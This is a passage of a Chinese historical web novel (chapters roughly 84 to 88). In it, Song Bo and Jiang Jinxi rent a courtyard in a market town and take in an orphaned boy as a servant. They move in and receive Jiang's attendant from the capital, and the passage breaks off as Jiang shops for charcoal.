书中第一页是传福镇地图,再往后翻便是各片区域,区域不同租金也不同,离县衙近的镇中心一月租金最少五两,普通百姓住的区域一月租金三两往上,而李五他们住的那片贫民区,租金则是一月一两。 宋泊首先便排除了贫民区,贫民区沾上贫民两字,治安便会比别处差些,谁人能知被生活逼急的人会做出何等出格的事儿,他们也并非囊中羞涩,没有必要自讨苦吃。 镇中心与普通区就得去瞧瞧那儿的房子,两厢比较之下才能得知那边的房子更好一些。 “坐北朝南的房儿你给圈出来吧。”宋茶栽道。 “客官可是识货。”牙人先将人一顿夸,随后才说,“只是这坐北朝南的屋儿租金会比别的朝向房子贵些。” “无妨,但说就是。”宋泊说。 坐北朝南的房子采光好,通风也好,为了这两个优点,多花些银两也是应该。 牙人便把待租的坐北朝南向的房子与他们说了。 为了减少不必要的时间浪费,一般都是客人在牙行选好几个心仪房子,随后由牙人带着直奔目的地。 宋泊与江金熙和宋茶栽商量着,三人选下两套房,一套位于镇中心,一套位于普通区,镇中心的房子会比普通区的小些又贵些,但相对的房屋质量和治安也会好些。 只能说各有利弊,还得亲自瞧瞧才能觉着哪套更好一些。 牙人把书合上,带着三人出了牙行。 牙行离普通区近,他们便先往普通区那套瞧去,这套房子是个富商的两进院子,富商生意做大以后,搬离了传福镇,这房便空了下来。 “客官,请往里头走。”牙人拿了院子钥匙,将门打开,边走边介绍着:“这院内所有家具齐全,住进来即刻可用。” “院内有多少屋子?”宋茶栽问。 家具都是旁儿的,主要是得看屋子有多少,宋泊和江金熙都需要一间书房,现下两人还未成婚,住的卧房也得有两个,听闻江金熙的侍人也要来,那就要在多一个耳房,若是有客来住,还得再安排个客房,如此算来应当要五个房间以上,再加着正厅、厨房、茅房什么的,应当要有十间屋子。 “共用十间屋子。”牙人带着三人走过一条横廊往院子里头走去。 虽说士农工商商排在最后,但富商发了家也想学学文人雅士的做派,故而院子里还有个人造湖,虽说不大,却也有一番意境。 宋泊挺喜欢这套房子,房间数量足够,还有配套的家具。 江金熙在院子内溜达一圈下来,也是对这套房子很满意,即便这套房子还没他京中丞相府的十分之一大,但住起来觉着很舒服。 “这套房子租金多少?”宋泊问。 “这套房子坐南朝北又有成套家具再加上房间数量多,租金会稍贵一些。”牙人先说着一堆铺垫,而后才道:“一月四两。” 四两,这对于一个普通农户来说可是天一般的数字,要不是宋泊刚受了赏,他也拿不出这般多的银子。 往后还有百书阁的工作支撑,住个六月应当没有问题。 不过租房还是得对比择优,宋泊他们还是跟着牙人去看了下一套位于镇中心的房子。 镇中心的房子占了地区优势,去任何地方都很近。 牙人又掏了把钥匙把第二套房的院门打开,“这房是官家的,官家升迁,这屋子留了下来。” 宋茶栽一听就觉着着官家升迁的房儿是个好兆头。 “不过您也知,这镇中心的位儿寸土寸金,所以这套房子并不很大。”牙人说。 走进院里,不愧是官家住的屋子,入目便是一棵巨大青松,青松下头有个石棋盘,显得雅致非常,因着这套屋子占地儿小,故而房间数也少,只有七间屋子,而且因着官家的家具都是上等家具,所以升迁时都搬了走,想要住下来就得自己重买一套。 “这套屋子租金多少呢?”宋泊问。 “一月七两。”牙人答,这屋子有官家升迁的吉兆,所以租金会比别处多些。 如此一对比,先前那套房子正是合适。 宋泊没一下就与牙人说要定下那套,而是说着还要回去商量商量。 牙人一下就有些急了,现在水灾刚过不久,租房子的人少之又少,好不容易有了个大客户,他舍不得放下这单,“客官,都好商量,住久了我还能帮你压压价。” “说说。”宋泊道。 “每月给您减两百钱可行?”牙人说。 两百钱六个月便是一两多,如此优惠也算是力度大了,不过宋泊还是没有轻易答应,先领着江金熙和宋茶栽先出了牙行。 此时正值午时,三人便随便找了个饭馆坐下,先吃了午饭再启程回村。 等菜上来之时,宋茶栽问:“你可是不满意那两套房?”她说着自己的想法,“两套租金都有些贵了,不过我觉着住个六个月,多花些钱住得舒服才是,每日苦着自己读书也读不出劲儿来,你们说是吧。” “大姑。”江金熙给宋茶栽倒了杯茶水,而后看了一眼宋泊,而后才道:“宋泊应当是满意的,只是吊上个几日,没准到时签合约还能再压些价呢。” “还是金熙懂我。”宋泊夸着。 宋茶栽看着面前两人眉来眼去,只道只有自己心底着急,不由得语气急了几分,“早些定下来早点儿搬进去不是更舒坦?” 听着宋茶栽加快的语速,宋泊本想托个五日,现在便缩短些时长,拖个两日就是,他说:“大姑说的是,我挺喜欢第一套的,后日便去将它定下来。”想必拖上这么一些日子,到时租房时或许能再压下一些价格。 果然如宋泊所料,两日后他们再去牙行时,牙人又压了些价,最终他们以一月三两七百钱的价格,租下了第一套房。 牙人带他们到牙行的房间之中,这房间是专门用来签合约的。 牙人把拟好的合约拿出来,宋泊直接把合约拿给江金熙,专业的事还得专业的人来,江金熙精通恒国律法,这合约自他眼前过过一遍若是没问题就真是没问题。 好在牙行还算良心,没在合约里加些霸王条款,江金熙谨慎地看过两遍以后,才把合约还至宋泊手中,“没有问题,可以签。” 在江金熙的注视之下,宋泊与牙行签下了租房协议,他们在传福镇中有了属于自己的一个小地方。 第85章 第八十五章买人。 签好合约,宋泊先交了三个月的租金,牙人才将院子钥匙交到宋泊手中,“客官您住好,有什么事儿来牙行找我就是。” 牙人的服务态度不错,宋泊也算心满意足。 揣好钥匙和合约书以后,宋泊与江金熙便打算离开牙行,刚走到门口,就瞧着有个骨瘦如柴的孩子正被牙行内的人赶着,“说了不要你,你这般瘦谁会买,你到别处去问,别再逮着我们这家了。”说完话还挥了两下手,眼中满是不耐烦。 “这孩子是?”宋泊问。 与他们一同出来的牙人解释道:“这孩子的父母被水灾带了走,成了孤儿,这孩子没个别的去处,每日便求着我们将他卖出去。”牙人双手交叠放在腹前赔笑道:“您也瞧着了,他这风吹一下就能跑的模样,哪儿有人愿意买他,将他收进牙行可就是赔本的生意,主家自是不同意的。” 如此倒也合情合理,买卖侍人是官家同意的营生,主家既做了这等生意,自然是本着赚钱去的,这孩子收进去砸在手里不说,往后还不好处置,确实是个麻烦活儿。 只是看着那孩子一直被牙人推搡着,宋泊有些于心不忍。 江金熙藏在衣袖底下的手悄悄勾住宋泊的小拇指,宋泊转过头来,江金熙在他耳边轻声说着:“我瞧着那个男孩不过营养不良,不如我们将他买了去,你身边正好也缺个伺候的人不是?” 过了水灾大家都不好过,既然事儿发生在自己眼前,江金熙便起了恻隐之心。 索性一个孩童也吃不了多少,租了房子以后这院门离卧房有些距离,正却一个守门的侍人,便买了他来安排这活儿也成。 就在宋泊与江金熙商量之时,那孩子已经被赶走了去,灰心丧志地垂头走在镇上,家中父母逝去,他又无营生手段,除了把自己卖了找个活儿做,他想不到自己的出路在哪儿。 宋泊偏头看了江金熙一眼,见江金熙眼中满是支持,他便跨出牙行,小跑几步拦住那个孩子,“小兄弟,你且等下。” 孩子转过头来,“您有什么事儿吗?” 江金熙跟在宋泊身后缓步走来,离得近了才发现这孩子估计很久没有吃过一顿饱饭,脸颊都凹了进去。 “刚刚我听着你与牙人的话,你是要卖身?”宋泊道。 听宋泊这么问,孩子眼前一亮,他赶忙推销自己,“公子您可别看我这么瘦,我什么活都做得的,而且吃的不多,是很有价值的。” 没想到这孩子身瘦如竹,精神却高昂,他丝毫没被刚才牙人说的话给影响,找着机会就会主动出击。 “那你说说,买你要多少银两?”江金熙从宋泊身后走出与他并肩站着,做侍人的人不能太木讷,这般机灵的就很合适。 孩子对银钱没太大概念,只记得娘亲说一两银子够他们吃上一年,他也不好将自己说得太贵,要是把面前的贵人给吓跑了可怎么办,“八百钱!” 虽说宋泊没问过牙人牙行内侍人的价格,但是只凭他的常识,也知一个侍人的价格再低也不可能底下二两银子,孩子毕竟是孩子,还带着纯真,只八百钱就将自己卖了。 宋泊与江金熙对视一眼,江金熙轻微地点了下头,宋泊道:“成,那我便买下你。” “多谢贵人!”孩子高兴地当街就要给两人跪下,江金熙赶紧撑住他的手臂,这般跪下被他人瞧着了,还以为他俩虐待孩子呢。 “你叫什么名字?”宋泊问。 “回贵人,我叫简言。”简言乖巧答道:“今年八岁。” 听到简言的年龄,宋泊忽然有种聘用童工的羞愧感。 江金熙倒是习惯了,他的侍人青桥便是与他一起长大的,年纪轻轻就因为各种原因出来当侍人的孩子不在少数,江金熙只觉着简言太瘦了,比寻常八岁孩童瘦了很多。 “你是要与我们一道儿?还是回家等过几日再来?”宋泊问。 “若贵人不嫌弃,我便跟着贵人。”简言道,他现在回了家只能面对空落落的房子,与其如此还不如跟着贵人找点儿事做,“可是我的衣物还在家中,得回去收拾一下,贵人家住哪儿?我收拾好便赶过去。” 简言左一个贵人右一个贵人,听得宋泊心中怪异,他并非什么贵人,只是在力所能及的情况下,救下个孩子罢了,如此宋泊便纠了下他的称呼,“你整理东西需多长时间?” “回主君,半炷香即可。”简言回道,他早就将自己的东西打包好,这半炷香的时间也是他来回跑的时间而已。 “那你便去拿,我们在这儿等你。”宋泊道,他们今日还不住传福镇,让简言独自去村子里找他们又有些不现实,宋泊与江金熙一商量,便决定等着简言把东西收拾好在一块儿回村。 简言对自己来回的速度有清晰的认知,半炷香时间一分未多一分未少,他准时出现在宋泊和江金熙面前,身上背了个跟他后背差不多大的行囊。 八岁孩子只有这般行囊,看着令人心酸。 可简言自己却不觉着,他只知道自己终于有了活儿做,“主君,我们这便走吗?” “先去县衙登记了以后再走。”宋泊道,既在传福镇,就将活儿一并做了,省得总有个事儿挂在心头,“你确定你真的要做侍人?” “嗯!”简言重重点头。 宋泊便领着简言去了县衙,县衙人都眼熟宋泊,一套流程下来顺利迅速,宋泊念着简言还小,没准以后还有一番作为,便只定了十年的契书,十年之期一到,简言还能自己决定出路。 简言收好宋泊给的一两银子,又把契书小心揣在怀中,心道主君可真是个好人,他说八百钱,主君却给了他一两,还说他往后每月都有工钱。 简言悄悄垂了脑袋,眼中晶莹闪烁,爹爹、娘亲,阿言找到了活儿做,凭着自己一个人也能好好长大的。 江金熙瞧着简言的小动作,见宋泊正要出声,他便拦住了宋泊,与他摇了摇头。 简言是个坚毅的孩子,哭一哭对他是有好处的。 简言的情绪来得快去得也快,他一抹眼泪,仰起头,“主君,我们这便走吗?” 宋泊装作没有看见简言泛红的眼眶,道:“走。” 三人坐上回村的牛车,简言知道自己已经成了别人的侍人,虽然心中好奇,却也不敢太嚣张地四处乱看。 远远的,简言就瞅着一只土黄色的狗朝他们这儿跑来。 简言以往被狗咬过,现如今看着狗了心里止不住的发憷,他偷摸地躲在离他最近的江金熙身后。 常乐跑在牛车边儿,伸着个舌头尾巴摇得飞起。 简言以为这狗无主,想着它没一会儿应该就回去别的地儿,却没想到这土黄色的狗硬生生跟着他们到了目的地。 临了下车,简言却扒在牛车车筐上,宋泊这才问着:“你怕狗?” 江金熙跟在宋泊身后下了车,随后蹲着身子摸了一把常乐,听宋泊这般说,他抬起头来,道:“这是我们的狗,它叫常乐,很乖,不咬人。” 郎君应该是很喜欢这条狗,他作为主君和郎君的侍人,也不能太过矫情地赖在车上不走,简言深吸两口气,从牛车上下来。 知道简言怕狗,江金熙便挡着常乐,常乐巴巴跟在江*金熙身边,傻呵呵笑着。 宋泊家没有多余的地儿给简言睡,宋泊把东西放下以后,便领着简言去宋茶栽家中歇上一晚,明日他们将家中物什整理好带上传福镇,明夜便能在传福镇上住下。 见宋泊带了个孩子来,宋茶栽问,“这是?” “这是我新买的侍人,叫简言。”宋泊答。 听宋泊这么说,宋茶栽睁大了眼儿,随后她拉着宋泊走到一旁,“你飘了不是,去镇里租房还学上了奢靡,都会买侍人了?!” 明明做了件好事,在宋茶栽这儿却成了坏事,宋泊赶紧解释道:“他是孤儿,刚刚我与金熙租房时遇着他,牙行看他瘦小都不要他,我俩瞧他可怜,这才买回来当侍人的。” 闻言宋茶栽回头瞧了简言一眼,“那孩子多大?” “八岁了。”宋泊答。 普通八岁孩子可比简言高多了也壮多了,宋茶栽这才相信宋泊和江金熙是为了帮他而将他买回来做侍人。 只是开了这个口,宋茶栽还是有些担心宋泊还未考中就已经学了别人的不良风气,“你可得记着本心,切不可做出荒淫奢靡的事儿来。” 宋泊哭笑不得,直保证道自己绝不会做出出格的事儿,宋茶栽才放了他一马,而后她便与简言说话去了,简言年纪小,最是讨人喜欢的时候,宋茶栽没一会儿就喜欢上这个孩子,给他做了些饭菜吃。 简言一直记着自己的身份,宋泊都未上桌,他哪儿能越过宋泊上桌,他站在宋泊身后直摇头,只说自己不饿。 虽说宋泊从现代来,并未有严重的阶级观念,但是简言现在是侍人的身份,越过主子先吃饭便是不合适,宋泊听见身后传来简言肚子叫的身影,心中一阵好笑,他回家喊了江金熙来,大伙儿才坐上了桌,一起吃饭。 第86章 第八十六章搬家入镇。 翌日一早,宋泊便唤了辆牛车来,在车厢内摆满了他与江金熙的行囊。 宋茶栽听闻他们今日要搬家,一大早就赶了过来,说要与他们一道儿去镇里,帮着打扫、整理。 常乐作为家中一员,自然也得带去镇里,在村里守村门,在镇里就得守院门,常乐似乎知道大家的意图,它直直上了牛车棚,在车厢内找了个角落窝了下来。 四人一狗入了镇,牛车径直停在宋泊说的位儿,这院子还没有一个名字,门上也没挂着匾额,要找到位儿还得靠旁边邻居的匾额。 宋泊从牛车上下来,把院大门的钥匙交到江金熙手中,江金熙先去开了门,宋泊把行囊从车厢上领下来。 简言虽然年纪小,但有些东西轻,他还能搬得动,就搭了把手,帮着把一些他力所能及的东西给搬了下俩。 常乐灵活地从车厢上跳下来,经过一夜,简言对常乐的害怕稍微减少了些,不至于到瞧着就要跑,但还是要稍微离远一些。 牛车送到底儿便撤了,四人来回搬了三趟的东西,才把所有行囊从院门口般进了院内。 主卧房归宋泊,主卧房左边的卧房则分给了江金熙,因着主卧一般都住着家中二老,故而房间会稍大些,不过宋泊对房间大小并无太大要求,只要能给他个睡觉的地儿就行。简言的房间在前院的偏房,常乐则无固定位儿睡,可能今日在宋泊房中,明日在江金熙房中,都随它。 这屋子应当闲置了许久,房内都积上了一层厚厚的灰,他们人手不足,牙行又不会帮他们打扫屋内,所以宋泊他们便挑着要用的房间先清理。 四人忙碌了一天,将要住的房间收拾的差不多,等着天色微微暗下,宋泊才想起这家中没有蜡烛,现在住了大房子,蜡烛可是刚需。 刚好晚餐也得在外头解决,宋泊便招呼着大家出门吃饭,常乐也一起跟着。 今日喜春楼开了门,宋泊就带着大家上了喜春楼,没想到张福财第一日重新开业就守在收银的位儿,瞧着宋泊来了他还有些好奇,“宋公子,今儿个怎么这么晚来?” “搬镇上住了,时间不碍事儿。”宋泊道。 他轻车熟路地找了经常坐的位儿坐下,张福财亲自拿了菜单过来,“搬家了?这可是个好事儿啊。”他边说着边把菜单放到宋泊手里,“前些日子不是过了水灾,这菜供应不上,有些菜做不了,你们可得见谅。” “那你就随便上个五道菜,记得来两个甜口菜,还要份汤。”宋泊说。 喜春楼的菜品质量有保证,宋泊也懒得一个个点菜,再听着没有的菜品选别的菜换掉。 张福财跟店内的店小二嘱咐了句,又把菜单给了他以后,自然地扯了把椅子过来坐下。 店小二给他们端了壶茶水来,张福财倒着茶,问:“如何想到住镇上了?” “上工方便些。”宋泊道。 张福财知道宋泊在百书阁上工,闻言回道:“当初我便觉着你是个吃苦的人,每日村子镇上来回,要我我可做不到。” “是呐,现在吃不了苦了,得住镇上了。”宋泊顺着张福财的话往下开着玩笑。 张福财了解宋泊,知他不是故意挖苦,便也没往心里头去,他看着桌上坐着的骨瘦如柴的简言,“这是你们亲戚?” “新买的侍人,他叫简言,往后你要来我院子找我,可得靠着他开门。”宋泊说道。 张福财确实没想着宋泊会买个这般孩子当侍人,这灾情刚过,无家可归的人一大把,侍人市场当有很多比简言好的侍人才是,这孩子看着就营养不良,买回来能做多少活儿?这不是个赔本的生意吗?不过他这么想却没这么说,而是乐呵呵着道:“那简小弟可得记住我这张脸,到时别把我拒之门外就行。” 简言头一次被人开玩笑,脸颊涨红如苹果,他回道:“我已记住您的模样,定然第一时间为您开门。” 听着简言这般回答,张福财又是哈哈几声。 等着上菜之时,江金熙看向挂在楼里正中央的那四个字,这字因着挂得高,便没被水给浸着。 之前不知道是宋泊写的,现下明了,越发觉着那简单的四个字就是艺术。 张福财看着江金熙目不转睛地盯着宋泊的书法瞧,便出言说了句,“江公子还喜欢着那字呢?” “自然,这字笔锋自然,落笔顺畅,其中奥妙不可说,谁能不喜欢这副书法呢?”江金熙说着脑袋渐渐左移,把视线定在宋泊的身上。 张福财轻微地挑了下眉,看来宋泊会写字这事儿还是暴露了,只是江金熙的态度看来不似生气,还有几分自豪在其中。 “你说便说,看宋泊作甚?”宋茶栽问。 “大姑,那副作品正是出自宋泊之手。”江金熙回。 宋茶栽看一眼书法,又看一眼宋泊,而后不相信般又看了眼书法,道:“不可能,金熙你唬我呢。” “确实如此。”宋泊答。 这下宋茶栽彻底不淡定了,自家侄儿何时进修了书法,她居然不知。 “好你个宋泊。”宋茶栽一掌拍在宋泊后背上,发出一声巨响,把常乐吓了一跳,从趴着的姿势改为站姿。 “大姑,疼。”宋泊捂着被宋茶栽打的地方,委屈道:“你怎的手劲这么大呐。” “别打岔。”宋茶栽盯着宋泊,“你还有多少事儿瞒着我?” “没了,真没了。”宋泊道。 宋茶栽又仰头看了眼那高挂的书法,只觉着宋泊中举的可能性又高了几分,那些个考官最是喜欢字好的,字迹看着舒服,文章写差的缺点便会被弥补,宋泊既有这么一手好字,便可遮盖他学识不足的事儿。 毕竟宋泊从今年才开始看书,硬要与那些个学了多年的人比学识,那肯定是落一截。 “你这手字可得好好保持着,别到了考场泄气。”宋茶栽道。 “宋公子准备下场了?”张福财奇道。 “只是试试。”宋泊回着。 “到时中了摆宴记得喊我呐,我给你打折。”张福财说,他早觉得宋泊就是个科举的料,早些与宋泊打好关系,那好处可是多了去了。 “那是自然。”宋泊说。 因着店里没什么人吃饭,张福财也无需忙碌,他便在宋泊这桌坐了许久,还与宋泊说了不少跟科举有关的事儿,什么镇东李公子策略写得好,镇西王公子四书学得好之类的,“对了,你可有想法去私塾?我有熟的私塾可以介绍你去。” “无妨,我只是试试,便不花那私塾的钱了。”宋泊道。 “离明年县试不过五月,确实此时去私塾也无济于事,你便先去看看那卷子,后面再考也是一样的。”张福财道。 现如今去私塾也没太大用处,不如先去县试看看卷子,发现自己缺漏何处再去私塾补补就是。 不过科举这般困难,张福财也只是说说吉利话,心底并不觉着宋泊能中,上了学的人下场要中已然不易,更别说自学能中了,恒国这几百年来,通过自学中了举的天才一只手便数得过来。 吃过晚饭以后,宋茶栽便回了村。 以后宋泊住在镇里,村中那屋子和地就空了下来。不过宋泊他们也不必担心,宋茶栽会料理好一切,屋子她会定期去打扫,地儿则由刘南民帮着照看。 头一回在镇中歇息,宋泊看着天花板,天花板与村中不同,是用砖砌的,只是没了江金熙在身侧,有些不适应。 叩叩。 正当宋泊准备入睡之时,门外传来了敲门声。 宋泊从床上坐起,看着门外的剪影,来人个子比简言高,是江金熙来了。 宋泊赶紧下了床,打开房门,“你怎么来了?” 江金熙抱着枕头,长长的秀发因为要入睡披散在肩膀上,一双圆圆的鹿眼委屈地瞧着宋泊,道:“我有点儿睡不着觉。” 新的院子很大,房间又多,那么多房间院内却只有三人一狗,空旷之余有些令人害怕。虽说京中丞相府比这府邸大上几十倍,但因着府邸里侍人多,青桥也睡在他边儿上的耳房,他便不觉着害怕。现如今住在这儿,新房子固然好,可他总怕从哪里冒出个什么来,一直绷着个神经,半个时辰过去还是精神。 宋泊的心早软得一塌糊涂,他侧身一让,接过江金熙手里的枕头,放在床铺的里侧。 这间主卧的床也安在墙边,里侧的位置安全得很。 “这般你应当就能睡着了。”宋泊道。 江金熙爬上床,乖巧地躺在里侧,现在时辰已经不早了,宋泊便熄了蜡烛,掀开被子也躺了进去。 有宋泊陪着,江金熙一会儿就睡了去,一睡着就侧了个身往宋泊怀中钻。 宋泊并非坐怀不乱的柳下惠,他张着手臂将江金熙揽入怀中,这是他的宝贝,他来到这个世界以后的依靠,宋泊垂眸看着睡熟的江金熙,亲亲落下一吻在他的额头上,他定会考中,让江金熙风光无限嫁与他。 第87章 第八十七章青桥来了。 九月二十二日,青桥从京城到了近里村,这才发现自家主子已经搬去了传福镇,他又让府上马车调转车头,靠着宋茶栽说的位儿,找到了宋泊和江金熙在镇里的家。 青桥从马车上下来,看着面前的二进院子还算满意,之前住村子里,可委屈了他家主子,这院子虽然不大,但至少比村中那个好些。 青桥敲响院子大门,门马上就开了,里头是个小孩儿,这让青桥怀疑了下,自己是不是找错位儿了。 “你找谁?”简言看着面前站着的哥儿,不解问道。 “这儿可是宋泊家?”青桥问。 “你是?”简言上下打量着青桥,现下主君和郎君都不在家,他可得做好看家的活儿,常乐也从门里探出个脑袋来,瞧着面前来人。 见小孩未否定,青桥自我介绍着,“我是江公子的侍人,特带了东西来找我家公子。” 简言看着后头马车富丽华贵,便觉着面前人身份不凡,只是宋泊和江金熙未与他说过江金熙的身份,故而简言对青桥还是打着百分之百的警惕,郎君是有与他说过会有个侍人来找他,但他还是不敢轻易放人进来。 “我与你一同去找郎君,郎君答应了我才能放你进来。”简言从院门内钻出来,喊常乐在家中好好待着。 青桥也是无了语,没想到找自家公子还得被当做坏人对待,他喊车夫在院门口等他一会儿,随着简言一块儿去找人。 路上简言一句话也未说,只在前头带路,在郎君还未确认此人来历之前,他不敢多说话,怕透露了自家郎君的信息。 好在愈馆离得不远,简言的腿虽然短,但胜在步频快,半炷香便引着青桥到了愈馆。 江金熙已经在愈馆做了一周的医师,他作为宋师傅的徒孙,被宋师傅一直带在身边,今儿个刚好遇上有个重伤病患,正在三楼紧急救治,江金熙也被带了上去。 吴末让他们在一楼大厅等。 愈馆内有一股很重的草药香,青桥看着周围人来来去去,有些难以相信自家主子竟到了镇中的医馆里当了医师。要知道在京城时,老爷给公子请了钟御医当老师,那可是病人上门,公子无需在外头奔波的。 过了一个时辰,江金熙才从楼上下来,他满头是汗地扯掉脸上带着的口罩,虽然狼狈眼中却满是光彩,书读百遍不如实践一遍,宋师傅很信任他,让他在旁辅助着做了很多事儿,对于晚上处理他已有了个清晰认识,等会儿下了工,他便要把今日做的事统统记下来。 江金熙刚到大厅,青桥便眼睛尖地看见了他,“公子!” “青桥,你怎么现在才到。”江金熙拉着青桥的手,问着。先前他与宋泊算过日子,青桥应该在二十日到才是,这生生拖了两日,可把他担心坏了。 青桥不好意思地抓了下头发,道:“路上马车坏了,修马车花了些时间。” “到了就好,到了就好。”江金熙说:“不过你怎么会来愈馆找我?” “回郎君,是我带他来的。”简言从青桥后头冒出个脑袋来,“得郎君确认过他的身份以后,我才敢让他进院子。” 简言也是尽职尽责,江湖骗术防不胜防,还是得真人见过以后才安心。 离江金熙下工还有好一段时间,简言便先带着青桥又回了家。 青桥让车夫把马车牵入院子之中,而后指使着车夫把车厢上的东西统统搬下来,青桥记着江丞相的嘱咐,把从京城带来的物什先放在自己房中,而后一件件归类,公子的便收拾进公子房内。 车夫也是他从京城带来的自家车夫,院子里没有马厩,马匹只能先随便找个位儿拴起来。 常乐头一回见着马,颇为好奇地绕在马儿身侧,马儿高傲得很,一下也未瞧着常乐,有时觉着烦了还会尥蹶子踢常乐,常乐灵活地往后一闪,又撩拨上马儿,马儿踢它就躲,也是玩了起来。 天边染上红色,申时中,宋泊回了家,这一回家入目就是匹毛发油光发亮的马儿,宋泊问身侧的简言,“这马儿是从哪儿来的?” “回主君,郎君的侍人从京城带来的。”简言乖巧地回道:“并且还留下了位车夫。” 这下好了,不止青桥一人来,还带了位车夫,这府上一下便热闹起来。 宋泊并未多说什么,加上个车夫和马儿不过是多了两口饭,以后回村、出行也方便些。 江金熙下工的时间比他晚些,宋泊先回了书房,他会先在书房内学上一个时辰,等江金熙回来以后在一同去饭厅吃饭。 刚到书房门口,宋泊便看着门口边放着个托盘,托盘上搁着几支粗蜡烛,这蜡烛细细看来还有暗纹,想必是青桥特意从京城带来的长虹烛,这蜡烛宋泊在丞相府的正厅见过,丞相府所有的蜡烛都是这长虹烛。 长虹烛带着个长字,燃烧时间极长,一支蜡烛从点燃到熄灭可以燃烧一天一夜,并且灭了以后还能重复利用,点燃了的长虹烛带着淡淡的香气,具有凝神清脑的作用,因此两个特点,长虹烛可是京城中达官贵族人人必备的蜡烛。 青桥既然把这蜡烛搁在门口,定然就是没有进入他的书房之中,不愧是丞相府教出来的侍人,分寸掌握得极为合适。 宋泊弯下腰,将长虹烛拿入房内,把房中已经燃尽了的蜡烛更换掉。 许是有长虹烛在的原因,宋泊觉着自己今日脑子清晰,学起策论来分外来劲,直到简言来喊他,他才依依不舍地从学海之中抽离出来,吹灭长虹烛。 当夜,饭厅里坐下了五个人,江金熙与宋泊介绍了马夫阿朝,阿朝不止是个马夫,他还会些功夫,当护院也成。 听着阿朝有这般本领,宋泊也是放心许多,他正想着要买些护院回来,这阿朝来得正好,外头买的还需怕有歹心,这从京中带来的家中仆,定是忠心耿耿。 吃过晚饭,青桥有许多话要同江金熙说,两人便一块儿进了江金熙的书房,宋泊喊简言收拾桌子,他便先一步回了书房,虽说他对自己的学识有自信,但科举还需勤奋才是,宋泊点着长虹烛,手中执笔在纸上写着字,不知不觉便沉浸其中。 青桥为江金熙倒了杯茶水,而后兴致勃勃道:“公子,您可不知,您为老爷争得了圣上的夸奖哩!” “是吗?”江金熙自然地接过杯子,拍了拍身侧的位置让青桥坐下来,“你快说说,圣上是如何说的?” 爹爹身为丞相,一人之下万人之上,这权利地位一高,难免惹圣上忌惮,尽管爹爹一心一意为恒国为圣上谋划,可总有些奸臣在圣上耳边吹风,久而久之圣上与爹爹之间有了个奇怪的平衡,爹爹总愁这事儿,现如今圣上居然夸了爹爹,爹爹肯定高兴坏了。 青桥坐在江金熙身侧,双眼发光,说起江金熙的事儿他骄傲得不行,“公子您是主动请缨,本就与那些个被迫的人不同,又帮着钟御医研制出治疗疫病的药,救了不少人,这可是咱们恒国有史以来受了灾死亡人数最少的一次,大伙儿都夸圣上是明君,可把圣上高兴坏了,请了咱们老爷去宫里用膳呢!” 请爹爹去用膳!这可真是巨大殊荣,江金熙拉着青桥的手,继续问道:“然后呢?” “然后老爷从宫里回来春风满面,给府上的侍人都赏了些钱,如此可不是得了圣上夸奖?”青桥道,“老爷收了您的信以后,便喊我收拾收拾,带东西来公子您这儿,我给您衣柜里放了不少新衣裳,那可都是圣上赏下来的布料做的,再过一夜不就冷了吗,那些件衣裳可是老爷要求着加急做出来的,老爷可是当真想着您呢!” 听青桥这么绘声绘色说着,江金熙仿佛已经看见嘴硬的爹爹站在自个儿面前,爹爹在来信中可没写这么多,若不是青桥带了消息来,他还不知爹爹这么念着他。 如此一来江金熙心底起了些愧疚,不过想着自己在愈馆也能学着许多,便又按下了那股愧疚。 江金熙与青桥聊了许久,青桥记着时间,给江金熙烧了洗澡用的水,有阿朝在,再加上院子里也有个水井,洗澡用水定是不用愁的。 等江金熙洗完澡,时间已经到了亥时中,到了该入睡的时辰,因着江金熙与宋泊一起睡在主卧,青桥便安排在主卧边的偏房之中,眼瞧着书房内还亮着灯,青桥问:“可要提醒下宋公子?” 宋泊子时末回房,辰时初又起床,每日只睡三个时辰,除去上工和吃饭时间,每日要学五个时辰,江金熙看在眼中疼在心里,但科举这路实在难走,总得勤奋些才能从千军万马过独木桥中脱颖而出,因此江金熙只是摇了摇头,说道:“不必,就让他再多学些吧,他会自己掌握时间的。” 第88章 第八十八章买炭。 十一月一,这日下了个雨,天骤然冷了下来,江金熙穿着青桥给他带的斗篷,手里抱着宋泊去年给他买的手炉,这天儿一冷下下,他的双手双脚就跟入了冰窖一般,实在冻人,就算穿了厚棉袜,手里捧着炉儿,也依旧如此。 “公子,您今日又不必上工,作何出门呢?”青桥举着把伞跟在江金熙身后,今儿个还早,风中还带着雨的味道,一阵风吹过,青桥缩了下脖子,这南边的冷可真是令人难以忍受,又湿又冷,那风跟会钻空子一般,直往人脖颈里钻。 “天儿冷了,我想给宋泊买些炭放书房里。”江金熙拢了拢身上的斗篷。 入秋后,江金熙便觉着自己双手如冰块,翻书动作都不灵活了,他只是看医书都是如此,那宋泊总得写字,手冻住了写字就慢了,写字慢了读书就慢了,他可不能让这天气耽误了宋泊。 “公子当真喜欢宋公子。”青桥道。 “那是自然的。”江金熙大方承认,在一起半年以上,他只会一日比一日更喜欢宋泊。 这些日子,宋泊又缩了睡觉的时间,每日只睡上两个半时辰,或许是受了科举压力,宋泊瘦了不少,身上本来肉就不多,现在更是消瘦。 宋泊考科举自己帮不上忙,便只能制造舒适的环境,让他不必为了其他事儿而烦心。 江金熙带着青桥和阿朝出了院子,留简言和常乐在院中看家,本来阿朝不必与他们一起,但买了炭要带回来太重,还是得有个男丁跟着一起。 要买炭肯定得选些好炭,那些廉价炭虽然也能取暖,但烟大不说,引燃时间还短,再加上点燃时还有臭味,实在不是一个好的选择。 不过江金熙也不知道这传福镇哪儿的炭好,便去了喜春楼问张福财。 张福财也热情,直接给江金熙指了个好去处。 “客官,您看看您想买什么?”刚到炭店,店老板便热情地迎了上来。 虽说江金熙身上穿着棉衣,但外套的斗篷看着就价值不菲,身后还有个侍人帮着撑伞,应是哪家的贵哥儿出门买东西。 贵族家用炭最是猛,没准讨好面前人,就能赚上一笔大钱。 “你这儿最好的炭是什么?”江金熙问。 店老板领着江金熙进店,青桥在门口将雨伞合上放置一旁,而后步伐飞快地跟上宋泊。 “红木炭,常燃不灭,点燃无任何气味,也无毒无害,可是用来保暖的最好木炭。”店老板拿来一小块红木炭,一点儿也不心疼地直接点燃在江金熙面前。 江金熙接过店老板递来的炭,他细细看着,红木炭燃了无烟,凑近一嗅也无味,确实如店老板所说,是个好炭,只是那燃烧时长不好测验,江金熙便以诚信相待,选择相信店老板,毕竟这是张福财介绍的店铺,若真出了事,也不怕人跑了去。 “这炭多钱?”江金熙问道。 